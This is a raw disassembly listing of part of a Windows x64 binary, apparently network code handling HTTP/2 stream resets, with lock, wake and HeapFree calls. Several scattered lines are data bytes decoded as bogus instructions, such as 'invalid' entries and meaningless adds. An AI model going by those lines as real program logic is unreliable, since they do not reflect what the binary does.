add byte [rax], al
mov qword [rsp + 0x538], r14
mov dword [rsp + 0x540], ebp
mov dword [rsp + 0x544], esi
mov dword [rsp + 0xe50], ebp
mov dword [rsp + 0xe54], esi
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x1c8], rbx
jbe 0x14005591c
mov r12, qword [rax + 0x1c0]
cmp dword [r12 + r13], 2
je 0x14005591c
add r12, r13
cmp dword [r12 + 0x114], esi
jne 0x14005591c
mov edx, dword [r12 + 0x48]
lea r15, [r12 + 0x50]
movzx eax, byte [r12 + 0x50]
add al, 0xfa
movzx eax, al
cmp al, 6
mov ecx, 6
add byte [rax], al
cmovae eax, ecx
cmp al, 4
mov dword [rsp + 0x188], edx
ja case.0x14004e035.1
invalid
xchg esp, eax
invalid
add byte [rax], al
sar dword [r12 + r8], 0x89
xchg esp, eax
and al, 0x88
add dword [rax], eax
add byte [rdi], cl
xchg dword [rsi + rax - 0x49f10000], edx
ror byte [rax - 0x73], 0xd
cmp ah, byte [rcx + 0x14]
add byte [rax + 0x63], cl
add al, 0x81
movzx eax, al
lea rcx, [0x140194168]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r12 + 0x52], 0
jne case.0x14004e035.1
mov r13, qword [rsp + 0xbf8]
mov r8d, 0x120
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0xfd0]
call fcn.140121660
mov dword [rsp + 0xd98], ebp
mov dword [rsp + 0xd9c], esi
cmp dword [r12], 2
je 0x140055bc4
cmp dword [r12 + 0x114], esi
jne 0x140055bc4
movzx eax, byte [r15]
lea ecx, [rax - 6]
movzx r8d, cl
cmp r8b, 6
mov edx, 6
cmovae r8d, edx
cmp r8b, 4
ja case.0x14004e0c9.1
movzx edx, byte [rsp + 0xb8c]
movzx r8d, r8b
lea r9, [0x14019417c]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov r14b, 1
test dl, 1
jne 0x14004ef95
mov edx, dword [rsp + 0xb68]
mov r8d, 0xffffff38
add edx, r8d
cmp dx, 0xff9c
setb bpl
mov bl, 9
xor esi, esi
jmp 0x14004f48a
mov qword [rsp + 0x40], rax
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0xa5], al
movzx eax, word [rsp + 0x1e2]
mov word [rsp + 0x396], ax
mov esi, dword [rsp + 0x1e4]
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0xc18], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0xc28], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xc20], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x6a8], rax
lea rcx, [rsp + 0xfd0]
mov rbx, qword [rsp + 0x78]
mov r15d, dword [rsp + 0x98]
call fcn.14006f310
mov dword [rsp + 0x194], esi
mov rsi, qword [rsp + 0x370]
mov r9, qword [rsp + 0x40]
test r15b, r15b
mov rcx, qword [rsp + 0x70]
jne 0x14004e1af
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e885
mov qword [rsp + 0x370], rsi
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14004e1cb
mov rsi, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rsi
mov esi, 2
cmp r9b, 3
mov rdx, qword [rsp + 0x118]
je 0x14004b984
jmp 0x140053bf1
lea rax, [0x1401598d0]
mov qword [rsp + 0x848], rax
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x838], 0
mov dl, 1
jmp 0x14004cd7f
test rbp, rbp
je 0x14004e959
sub ecx, ebp
jl 0x140055b98
mov dword [r14 + 0xb0], ecx
mov ecx, dword [r14 + 0xb4]
sub ecx, ebp
jno 0x14004e952
mov al, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0xe0], 3
jmp 0x14004d557
mov sil, 1
lea rax, [0x1401598d0]
mov qword [rsp + 0x520], rax
mov qword [rsp + 0x698], 0
mov eax, 1
mov qword [rsp + 0x6a0], rax
mov ebp, 1
mov rbx, qword [rsp + 0x78]
jmp 0x14004ed3a
mov r15, rcx
call fcn.14012bf20
mov rcx, r15
test al, al
jne 0x140047737
mov rax, qword [rsp + 0x188]
mov byte [rax + 0x11], 1
jmp 0x140047737
call fcn.14012bf20
test al, al
jne 0x140047762
mov byte [r13 + 0x11], 1
jmp 0x140047762
mov rcx, r14
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004bf08
call fcn.14012bf20
xor al, 1
jmp 0x14004bf0a
mov rcx, rsi
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004bfda
call fcn.14012bf20
mov r15d, eax
xor r15b, 1
movzx eax, byte [rsi + 1]
test al, al
je 0x14004bfe9
jmp 0x140055561
mov rcx, r14
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004b74f
call fcn.14012bf20
mov r15d, eax
xor r15b, 1
mov qword [rsp + 0x78], rbx
movzx eax, byte [r14 + 1]
test al, al
je 0x14004b764
jmp 0x140055545
mov rcx, rdx
call fcn.14012be60
mov rdx, qword [rsp + 0x70]
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004c209
call fcn.14012bf20
mov rdx, qword [rsp + 0x70]
mov r15d, eax
xor r15b, 1
movzx eax, byte [rdx + 1]
test al, al
je 0x14004c218
jmp 0x1400555f2
mov rcx, rsi
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004c482
call fcn.14012bf20
mov r14d, eax
xor r14b, 1
movzx eax, byte [rsi + 1]
test al, al
je 0x14004c491
jmp 0x1400555ba
mov rcx, rsi
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004c6f2
call fcn.14012bf20
mov ebp, eax
xor bpl, 1
movzx eax, byte [rsi + 1]
test al, al
je 0x14004c700
jmp 0x1400555d6
mov rcx, rdx
mov r14, rdx
call fcn.14012be60
mov rdx, r14
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004c012
mov r14, rdx
call fcn.14012bf20
mov rdx, r14
xor al, 1
jmp 0x14004c014
mov rcx, rdx
mov r15, rdx
call fcn.14012be60
mov rdx, r15
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004c4ba
mov r15, rdx
call fcn.14012bf20
mov rdx, r15
xor al, 1
movzx ecx, byte [rdx + 1]
test cl, cl
je 0x14004c4c8
jmp 0x14005552a
mov eax, 0x2c
test byte [r14 + 0x90], 1
mov rbx, qword [rsp + 0x78]
jne 0x14004e4a9
cmp dword [r14 + rax + 0x68], ebp
jbe 0x14004e8e6
mov sil, 1
mov rax, qword [rsp + 0xa80]
test rax, 0xffffffff80000000
jne 0x140055e3b
mov ecx, dword [r14 + 0xb0]
test ecx, ecx
mov edx, 0
cmovg edx, ecx
cmp edx, eax
jb 0x14004e4fc
test rax, rax
je 0x14004ed05
sub ecx, eax
jl 0x140055b98
mov dword [r14 + 0xb0], ecx
mov ecx, dword [r14 + 0xb4]
sub ecx, eax
jno 0x14004ecfe
lea rax, [0x140131ef8]
mov qword [rsp + 0x520], rax
mov qword [rsp + 0x698], 0
mov eax, 1
mov qword [rsp + 0x6a0], rax
mov ebp, 3
jmp 0x14004ed3a
test byte [rsi + 0x90], 1
jne 0x14004e57c
mov eax, dword [rsp + 0x198]
cmp dword [rsi + 0x94], eax
ja 0x14004e57c
mov r9b, 1
mov dword [rsp + 0x724], 1
mov eax, 1
mov qword [rsp + 0xc40], rax
mov qword [rsp + 0xc38], 0
lea rax, [0x1401598d0]
mov qword [rsp + 0xc30], rax
test bpl, bpl
jne 0x14004e594
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e869
xor eax, eax
xchg byte [rsi], al
cmp al, 2
mov rbp, qword [rsp + 0x88]
jne 0x14004e5b3
mov rcx, rsi
mov rsi, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rsi
mov esi, 2
cmp r9b, 3
mov rdx, qword [rsp + 0x118]
je 0x14004b984
jmp 0x140053bb8
mov bpl, 1
mov dword [rsp + 0x724], 0xb
mov eax, 0xf
mov qword [rsp + 0xc38], rax
lea rax, str.too_many_resetsassertion_failed:_self.max_stream_id___last_processed_id
mov qword [rsp + 0xc40], rax
lea rax, [0x140131ef8]
mov qword [rsp + 0xc30], rax
xor byte [rax + rax], cl
add byte [rax - 0x75], cl
pop rsp
and al, 0x78
jmp 0x14004f1fd
mov byte [rsp + 0xa6], 1
mov dword [rsp + 0x388], 1
mov eax, 1
mov qword [rsp + 0xa28], rax
lea rax, [0x140131ef8]
mov qword [rsp + 0x848], rax
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x838], 0
mov sil, 1
mov rbp, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
jmp 0x14004cdb1
mov rcx, rsi
call fcn.14012be60
jmp 0x14004b7c1
call fcn.14012bf20
mov r12d, eax
xor r12b, 1
jmp 0x14004b7dc
mov esi, dword [rsp + 0x194]
mov al, 3
mov qword [rsp + 0x40], rax
xchg esp, eax
add dword [rax], eax
add byte [rax + 0x44894803], dh
and al, 0x40
lea rcx, [rsp + 0xfd0]
jmp 0x14004e171
cmp byte [r12 + 0x51], 0
je case.0x14004e035.0
test byte [rsp + 0x2fc], 1
jne 0x14004e733
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x6a8]
and rcx, rax
inc rcx
mov qword [rsp + 0x6a8], rcx
lea rcx, [rsp + 0x1e0]
call fcn.14006f310
mov byte [rsp + 0xa5], 1
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x194], esi
mov rbp, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x370]
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
jmp 0x140050e59
mov r14, qword [rsp + 0xbf8]
mov r8d, 0x120
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0xfd0]
call fcn.140121660
mov dword [rsp + 0xd98], ebp
mov dword [rsp + 0xd9c], esi
cmp dword [r12], 2
je 0x140055de8
cmp dword [r12 + 0x114], esi
jne 0x140055de8
lea rcx, [rsp + 0x860]
mov rdx, r15
call fcn.140020520
movzx eax, byte [rsp + 0x860]
cmp al, 3
jne 0x14004eb16
mov dword [rsp + 0x960], ebp
mov dword [rsp + 0x964], esi
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x1c8], rbx
mov r12, qword [rsp + 0x50]
jbe 0x140055ef1
mov rax, qword [rax + 0x1c0]
cmp dword [rax + r13], 2
je 0x140055ef1
add rax, r13
cmp dword [rax + 0x114], esi
jne 0x140055ef1
cmp dword [rax + 0x30], 2
mov r15d, dword [rsp + 0x98]
jne 0x14004edcd
cmp qword [rax + 0x38], 0
je 0x14004edcd
movabs rax, 0xffffffff00000000
mov r9, qword [rsp + 0x558]
and r9, rax
inc r9
mov r14b, 1
mov qword [rsp + 0x40], 0
mov r15d, esi
movzx eax, word [rsp + 0x152]
mov rcx, qword [rsp + 0xa20]
mov rdx, qword [rsp + 0xa18]
mov r8, qword [rsp + 0xa10]
jmp 0x14004eb59
mov rsi, r9
call fcn.14012bf20
mov r9, rsi
test al, al
jne 0x14004cde0
mov byte [r15 + 1], 1
jmp 0x14004cde0
mov r15, r9
call fcn.14012bf20
mov r9, r15
test al, al
jne 0x14004e594
mov byte [rsi + 1], 1
jmp 0x14004e594
mov qword [rsp + 0x40], r9
call fcn.14012bf20
mov rcx, qword [rsp + 0x70]
mov r9, qword [rsp + 0x40]
test al, al
jne 0x14004e1af
mov byte [rcx + 1], 1
jmp 0x14004e1af
mov r15, r9
call fcn.14012bf20
mov r9, r15
test al, al
jne 0x14004d9fe
mov byte [rsi + 1], 1
jmp 0x14004d9fe
mov qword [rsp + 0x40], r9
call fcn.14012bf20
mov r9, qword [rsp + 0x40]
test al, al
jne 0x14004cb72
mov byte [rsi + 1], 1
jmp 0x14004cb72
mov sil, 1
lea rax, [0x1401598d0]
mov qword [rsp + 0x520], rax
mov qword [rsp + 0x698], 0
mov eax, 1
mov qword [rsp + 0x6a0], rax
mov ebp, 1
jmp 0x14004ed3a
mov dword [r14 + 0xb4], eax
mov eax, dword [r14 + 0xb4]
add eax, ebp
jno 0x14004e936
mov al, 3
mov qword [rsp + 0x40], rax
jmp 0x14004e944
mov dl, 3
mov qword [rsp + 0x40], rdx
mov dword [r14 + 0xb4], eax
xor ebx, ebx
mov dword [rsp + 0xe0], ecx
jmp 0x14004d570
in al, dx
invalid
invalid
mov dword [r14 + 0xb4], ecx
add dword [r14 + 0xf8], ebp
mov ecx, dword [rax + 0xa0]
test ecx, ecx
mov edx, 0
cmovle ecx, edx
cmp ecx, ebp
jae 0x14004e992
movabs rax, 0xffffffff00000000
mov rsi, qword [rsp + 0x6b0]
add byte [rax + 0x21], cl
invalid
or rsi, 3
jmp 0x14004f045
mov rcx, qword [rax + 0x30]
test rcx, rcx
je 0x14004f796
test bh, dh
invalid
add byte [rax], al
test bh, dh
or eax, 0xf9830000
add dword [rdi], ecx
test dword [rax + 6], edi
add byte [rax], al
cmp ecx, 1
jne 0x14004f020
test rbp, rbp
jne 0x14004f02d
jmp 0x14004f796
mov r14, rdx
call fcn.14012bf20
mov rdx, r14
test al, al
jne 0x14004d9a8
mov byte [rdx + 1], 1
jmp 0x14004d9a8
cmp byte [r12 + 0x52], 0
cmp byte [rsp + 0x52], 0
jne case.0x14004e0c9.1
movzx esi, byte [r12 + 0x51]
test dl, 1
jne 0x14004f47e
mov edx, dword [rsp + 0xb68]
mov r8d, 0xffffff38
add edx, r8d
cmp dx, 0xff9c
setb bpl
mov bl, 9
xor r14d, r14d
jmp 0x14004f48a
add byte [rax], al
add byte [rax], al
test dl, 1
jne 0x14004ef9e
mov edx, dword [rsp + 0xb68]
add edx, 0xffffff9c
cmp dx, 0x64
setae bl
add bl, bl
or bl, 8
mov sil, 1
mov r14b, 1
jmp 0x14004f48a
cmp byte [r12 + 0x51], 0
je 0x14004efa8
mov esi, 1
mov dword [rsp + 0x35c], 1
mov al, 1
mov dword [rsp + 0x368], eax
mov ebp, 4
mov r12b, 1
mov qword [rsp + 0xa08], 0
mov qword [rsp + 0xa00], 0
lea rax, [0x1401337a0]
mov qword [rsp + 0x550], rax
jmp 0x14004fb51
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0xa6], al
movzx eax, word [rsp + 0x1e2]
mov word [rsp + 0x1d2], ax
mov eax, dword [rsp + 0x1e4]
mov dword [rsp + 0x388], eax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0xa28], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x840], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x848], rax
jmp 0x14004f0ae
call fcn.14012bf20
test al, al
jne 0x14004db02
mov byte [rsi + 1], 1
jmp 0x14004db02
mov qword [rsp + 0x40], rax
movzx r14d, byte [rsp + 0x861]
movzx eax, word [rsp + 0x862]
mov r15d, dword [rsp + 0x864]
mov r9, qword [rsp + 0x868]
mov rcx, qword [rsp + 0x870]
mov rdx, qword [rsp + 0x878]
mov r8, qword [rsp + 0x880]
mov r12, qword [rsp + 0x50]
mov qword [rsp + 0x558], r9
mov qword [rsp + 0xa10], r8
mov qword [rsp + 0xa18], rdx
mov qword [rsp + 0xa20], rcx
mov word [rsp + 0x152], ax
cmp qword [rsp + 0xac0], 0
mov rbp, qword [rsp + 0x88]
mov r13, qword [rsp + 0x60]
je 0x14004ebb0
mov r8, qword [rsp + 0xab8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xa98]
test rbx, rbx
je 0x14004ec00
mov rsi, qword [rsp + 0xa90]
add rsi, 0x30
jmp 0x14004ebe6
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rbx
je 0x14004ec00
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004ebcb
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14004ebcb
cmp qword [rsp + 0xa88], 0
je 0x14004ec22
mov r8, qword [rsp + 0xa90]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0xab0]
test rdi, rdi
mov rbx, qword [rsp + 0x78]
je 0x14004ec5b
mov rsi, qword [rsp + 0xaa8]
add rsi, 0x38
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14004ec40
cmp qword [rsp + 0xaa0], 0
je 0x14004ec7d
mov r8, qword [rsp + 0xaa8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xad0]
call fcn.140012d20
mov rdi, qword [rsp + 0xf8]
movzx r10d, byte [rsp + 0x5f]
mov r8d, r14d
mov r11, qword [rsp + 0x340]
mov rsi, qword [rsp + 0x370]
movzx r9d, word [rsp + 0xa2]
mov edx, r15d
mov r15d, dword [rsp + 0x98]
jmp 0x140050ced
mov rbx, rdx
call fcn.14012bf20
mov rdx, rbx
test al, al
jne 0x14004cb2f
mov byte [rdx + 1], 1
jmp 0x14004cb2f
call fcn.14012bf20
test al, al
jne 0x14004dc73
mov rax, qword [rsp + 0x188]
mov byte [rax + 1], 1
jmp 0x14004dc73
mov dword [r14 + 0xb4], ecx
mov ecx, dword [r14 + 0xb4]
add ecx, eax
jo 0x14004ed17
mov dword [r14 + 0xb4], ecx
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x520]
and rcx, rax
or rcx, 5
mov qword [rsp + 0x520], rcx
xor esi, esi
mov rax, qword [rsp + 0xa70]
mov rdx, qword [rsp + 0xa78]
mov r8, qword [rsp + 0xa80]
lea rcx, [rsp + 0xa88]
call qword [rax + 0x10]
mov dword [rsp + 0x384], ebp
mov rbp, qword [rsp + 0x88]
mov r9, rsi
test r15b, r15b
jne 0x14004ed83
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004edb7
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x14004ed9b
mov rcx, r14
mov rsi, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rsi
mov esi, 2
cmp r9b, 3
mov rdx, qword [rsp + 0x118]
je 0x14004b984
jmp 0x140053c3c
mov rsi, r9
call fcn.14012bf20
mov r9, rsi
test al, al
jne 0x14004ed83
mov byte [r14 + 1], 1
jmp 0x14004ed83
mov r8d, 0x120
lea rcx, [rsp + 0x570]
lea rdx, [rsp + 0xa70]
call fcn.140121660
movups xmm0, xmmword [rsp + 0xac0]
lea rax, [rsp + 0x864]
movups xmmword [rax + 0x54], xmm0
movups xmm0, xmmword [rsp + 0xab0]
movups xmmword [rax + 0x44], xmm0
movdqu xmm0, xmmword [rsp + 0xa70]
movups xmm1, xmmword [rsp + 0xa80]
movups xmm2, xmmword [rsp + 0xa90]
movups xmm3, xmmword [rsp + 0xaa0]
movups xmmword [rax + 0x34], xmm3
movups xmmword [rax + 0x24], xmm2
movups xmmword [rax + 0x14], xmm1
movdqu xmmword [rax + 4], xmm0
lea rcx, [rsp + 0x5d0]
call fcn.140012d20
mov dword [rsp + 0xd98], ebp
mov dword [rsp + 0xd9c], esi
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x1c8], rbx
jbe 0x140055de8
mov rcx, qword [rax + 0x1c0]
cmp dword [rcx + r13], 2
je 0x140055de8
add rcx, r13
cmp dword [rcx + 0x114], esi
jne 0x140055de8
add rcx, 0x18
mov qword [rsp + 0x860], 5
mov rdx, r14
lea r8, [rsp + 0x860]
call fcn.140020940
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x960], ebp
mov dword [rsp + 0x964], esi
cmp qword [rax + 0x1c8], rbx
jbe 0x14005602f
mov rax, qword [rax + 0x1c0]
cmp dword [rax + r13], 2
je 0x14005602f
add rax, r13
cmp dword [rax + 0x114], esi
jne 0x14005602f
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
mov al, 3
mov qword [rsp + 0x40], rax
test rdx, rdx
mov rbp, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
je 0x14004ef1e
call qword [rdx + 8]
movzx r10d, byte [rsp + 0x5f]
movzx r8d, byte [rsp + 0x87]
mov r11, qword [rsp + 0x340]
mov rsi, qword [rsp + 0x370]
movzx r9d, word [rsp + 0xa2]
mov edx, dword [rsp + 0x1c0]
mov r13, qword [rsp + 0x60]
jmp 0x140050ced
mov rcx, r15
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004c786
call fcn.14012bf20
mov r14d, eax
xor r14b, 1
mov qword [rsp + 0x78], rbx
movzx eax, byte [r15 + 1]
test al, al
je 0x14004c79b
jmp 0x140055ca4
mov bl, 0xb
xor esi, esi
jmp 0x14004f48a
mov r14b, 1
mov bl, 3
jmp 0x14004f48a
test dl, 1
jne 0x14004f485
mov edx, dword [rsp + 0xb68]
mov r8d, 0xffffff38
add edx, r8d
cmp dx, 0xff9c
setb sil
mov bl, 0xa
xor r14d, r14d
jmp 0x14004f48a
mov rcx, qword [rsp + 0x130]
call fcn.14012be60
mov rcx, qword [rsp + 0x130]
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004df3c
call fcn.14012bf20
mov rcx, qword [rsp + 0x130]
xor al, 1
mov qword [rsp + 0x50], r12
movzx edx, byte [rcx + 1]
test dl, dl
je 0x14004df4f
jmp 0x140055cbd
mov rcx, qword [rax + 0x38]
sub rcx, rbp
jae 0x14004f792
movabs rax, 0xffffffff00000000
mov rsi, qword [rsp + 0x6b0]
and rsi, rax
inc rsi
mov qword [rsp + 0x40], 0
mov dword [rsp + 0xe0], ebx
mov bl, 1
jmp 0x14004d55e
mov r14, rdx
call fcn.14012bf20
mov rdx, r14
test al, al
jne 0x14004d8ab
mov byte [rdx + 1], 1
jmp 0x14004d8ab
mov rcx, rbx
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14004c32e
call fcn.14012bf20
xor al, 1
movzx ecx, byte [rbx + 1]
test cl, cl
je 0x14004c33c
jmp 0x140055d10
mov sil, 3
mov rbx, qword [rsp + 0x78]
jmp 0x14004cdb1
mov rax, qword [rbx + 0x58]
neg rax
jo 0x14004f0d6
jae 0x14004f0d6
mov r8, qword [rbx + 0x60]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov word [rbx + 0x50], 0x200
mov eax, dword [rsp + 0x198]
mov dword [rbx + 0x54], eax
mov rax, qword [rsp + 0x338]
mov dword [rbx + 0x58], eax
mov rax, qword [rbx + 0x90]
mov rcx, qword [rbx + 0x98]
mov qword [rbx + 0x90], 0
test rax, rax
je 0x14004f112
call qword [rax + 8]
mov dword [rsp + 0x98], r14d
mov qword [rsp + 0x50], r12
mov rax, qword [rbx + 0xa8]
mov rcx, qword [rbx + 0xb0]
mov qword [rbx + 0xa8], 0
test rax, rax
je 0x14004f140
call qword [rax + 8]
mov r14, r15
lea rdx, [r15 + 8]
mov r12, qword [rsp + 0x570]
mov r13d, dword [rsp + 0x578]
mov edi, dword [rsp + 0x57c]
lea rbx, [rsi + 0x110]
mov rcx, rbx
lea r15, [rsp + 0x570]
mov r8, r15
call fcn.1400c25f0
mov rcx, rbx
mov rdx, r15
mov r8, qword [rsp + 0x40]
call fcn.1400218f0
mov dword [rsp + 0xa70], r13d
mov dword [rsp + 0xa74], edi
cmp qword [r12 + 0x10], r13
jbe 0x140054d3a
mov rax, qword [r12 + 8]
imul rcx, r13, 0x130
cmp dword [rax + rcx], 2
je 0x140054d3a
add rax, rcx
cmp dword [rax + 0x114], edi
jne 0x140054d3a
mov bpl, 3
cmp byte [rax + 0x50], 6
mov rdi, qword [rsp + 0xf8]
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
mov r15, r14
mov r14d, dword [rsp + 0x98]
mov ecx, dword [rsp + 0x110]
jae 0x140055cf8
cmp ecx, 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x570]
call fcn.140022d30
test r14b, r14b
jne 0x14004f231
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004f467
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x14004f243
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r9, rbp
mov ebp, dword [rsp + 0x70]
test bpl, bpl
je 0x14004e581
jmp 0x14004e594
mov ecx, 1
mov dword [rsp + 0xd0], 1
mov al, 1
mov qword [rsp + 0x40], rax
lea rax, [0x1401337a0]
mov r14d, eax
mov rax, qword [rsp + 0x1148]
xor edx, edx
xor r8d, r8d
mov qword [rsp + 0xb98], r8
mov qword [rsp + 0xba0], rdx
mov qword [rsp + 0xa30], rax
mov qword [rsp + 0xba8], rcx
cmp qword [rsp + 0x230], 0
mov r13, qword [rsp + 0x60]
je 0x14004f2cd
mov r8, qword [rsp + 0x228]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x208]
test rbx, rbx
je 0x14004f31d
mov rsi, qword [rsp + 0x200]
add rsi, 0x30
jmp 0x14004f303
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rbx
je 0x14004f31d
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004f2e8
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14004f2e8
cmp qword [rsp + 0x1f8], 0
je 0x14004f33f
mov r8, qword [rsp + 0x200]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x220]
test rdi, rdi
mov rbx, qword [rsp + 0x78]
je 0x14004f378
mov rsi, qword [rsp + 0x218]
add rsi, 0x38
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14004f35d
cmp qword [rsp + 0x210], 0
je 0x14004f39a
mov r8, qword [rsp + 0x218]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x240]
call fcn.140012d20
mov r10b, 1
mov rdi, qword [rsp + 0xf8]
mov r9, qword [rsp + 0x40]
xor eax, eax
mov cl, 1
mov r8, qword [rsp + 0x130]
lock cmpxchg byte [r8], cl
jne 0x140051766
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14005179a
xor esi, esi
movzx eax, byte [r8 + 1]
test al, al
movzx ecx, word [rsp + 0x394]
jne 0x140056165
test r9b, r9b
je 0x14004f918
mov eax, ecx
cmp r9b, 3
je 0x140050f8f
mov eax, r14d
mov rdx, qword [rsp + 0xa30]
shl rdx, 0x20
or rdx, rax
mov qword [rsp + 0x858], rdx
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0xd28], rax
mov rax, qword [rsp + 0xba0]
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0xba8]
mov qword [rsp + 0xd20], rax
mov word [rsp + 0x1cc], cx
mov r14d, r10d
jmp 0x14005138e
call fcn.14012bf20
test al, al
jne 0x14004f231
mov byte [r15 + 1], 1
jmp 0x14004f231
mov bl, 0xb
xor r14d, r14d
jmp 0x14004f48a
mov bl, 3
xor r14d, r14d
cmp cl, 6
mov r8, qword [rsp + 0x70]
jb 0x14004f4f6
lea ecx, [rax - 3]
cmp cl, 3
setb dl
cmp cl, 1
setne cl
test dl, cl
mov r8, qword [rsp + 0x70]
jne 0x14004f4f6
movzx eax, al
test eax, eax
je 0x14004f4f6
cmp eax, 1
jne 0x14004f4d1
lea rcx, [r12 + 0x70]
mov rax, qword [r12 + 0x58]
mov rdx, qword [r12 + 0x60]
mov r8, qword [r12 + 0x68]
call qword [rax + 0x10]
jmp 0x14004f4f1
mov rax, qword [r12 + 0x58]
neg rax
jo 0x14004f4f6
jae 0x14004f4f6
mov r8, qword [r12 + 0x60]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsp + 0x70]
mov byte [r12 + 0x50], bl
mov byte [r12 + 0x51], sil
mov byte [r12 + 0x52], bpl
movdqu xmm0, xmmword [rsp + 0x860]
movups xmm1, xmmword [rsp + 0x870]
movdqu xmmword [r12 + 0x53], xmm0
movups xmmword [r12 + 0x63], xmm1
mov rax, qword [rsp + 0x87d]
mov qword [r12 + 0x70], rax
test r14b, r14b
mov qword [rsp + 0xd0], r13
je 0x14004f5e6
